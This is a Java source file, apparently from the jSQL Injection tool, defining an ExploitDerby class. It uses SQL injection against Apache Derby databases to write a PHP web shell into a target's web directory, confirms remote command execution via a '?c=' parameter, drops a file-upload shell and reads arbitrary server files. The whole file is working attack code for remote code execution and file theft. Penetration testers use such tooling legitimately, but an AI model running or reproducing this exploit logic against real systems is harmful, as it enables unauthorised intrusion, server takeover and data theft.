View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.CallableFile;
5   import com.jsql.model.accessible.DataAccess;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.engine.derby.ModelYamlDerby;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.model.suspendable.Input;
10  import com.jsql.view.subscriber.Seal;
11  import com.jsql.model.exception.AbstractSlidingException;
12  import com.jsql.model.exception.JSqlException;
13  import com.jsql.model.exception.JSqlRuntimeException;
14  import com.jsql.model.suspendable.SuspendableGetRows;
15  import com.jsql.util.LogLevelUtil;
16  import com.jsql.util.StringUtil;
17  import org.apache.commons.lang3.RandomStringUtils;
18  import org.apache.commons.lang3.StringUtils;
19  import org.apache.logging.log4j.LogManager;
20  import org.apache.logging.log4j.Logger;
21  import org.yaml.snakeyaml.Yaml;
22  
23  import java.io.File;
24  import java.io.FileInputStream;
25  import java.io.IOException;
26  import java.io.InputStream;
27  import java.net.http.HttpResponse;
28  import java.util.function.BinaryOperator;
29  
30  public class ExploitDerby {
31  
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlDerby modelYaml;
35  
36      public ExploitDerby(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorEngine().getDerby().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlDerby.class
42          );
43      }
44  
45      public String createWeb(String pathExploit, String urlExploit) {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
47  
48          String bodyExploit = StringUtil.base64Decode(
49                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
50              )
51              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
52              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
53  
54          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
55          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
56          this.injectionModel.injectWithoutIndex(String.format(
57              this.modelYaml.getFile().getWrite(),
58              nameTable,
59              nameTable, bodyExploit.replace("'", "''"),
60              nameTable,
61              pathExploit + nameExploit
62          ), ResourceAccess.TBL_CREATE);
63  
64          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65              String result = this.injectionModel.getResourceAccess().callCommand(
66                  urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
67              );
68              if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
69                  LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
70                  return StringUtils.EMPTY;
71              }
72              this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
73              return urlSuccess;
74          };
75  
76          return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
77      }
78  
79      public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
80          String bodyExploit = StringUtil.base64Decode(
81                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
82              )
83              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
84              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
85  
86          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
87          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
88          this.injectionModel.injectWithoutIndex(String.format(
89              this.modelYaml.getFile().getWrite(),
90              nameTable,
91              nameTable, bodyExploit.replace("'", "''"),
92              nameTable,
93              pathExploit + nameExploit
94          ), ResourceAccess.TBL_CREATE);
95  
96          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
97              try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
98                  HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
99                  if (result.body().contains(DataAccess.LEAD +"y")) {
100                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
101                 } else {
102                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
103                 }
104             } catch (InterruptedException e) {
105                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
106                 Thread.currentThread().interrupt();
107             } catch (IOException | JSqlException e) {
108                 throw new JSqlRuntimeException(e);
109             }
110             return urlSuccess;
111         };
112 
113         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
114     }
115 
116     public String getRead(String pathFile) throws AbstractSlidingException {
117         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
118         var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
119         this.injectionModel.injectWithoutIndex(String.format(
120             this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getCreateTable(),
121             nameTable,
122             nameTable, pathFile
123         ), ResourceAccess.TBL_FILL);
124         return new SuspendableGetRows(this.injectionModel).run(new Input(
125             String.format(
126                 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getRead(),
127                 nameTable
128             ),
129             new String[]{ StringUtils.EMPTY },
130             true,
131             0,
132             MockElement.MOCK,
133             ResourceAccess.FILE_READ
134         ));
135     }
136 
137     public ModelYamlDerby getModelYaml() {
138         return this.modelYaml;
139     }
140 }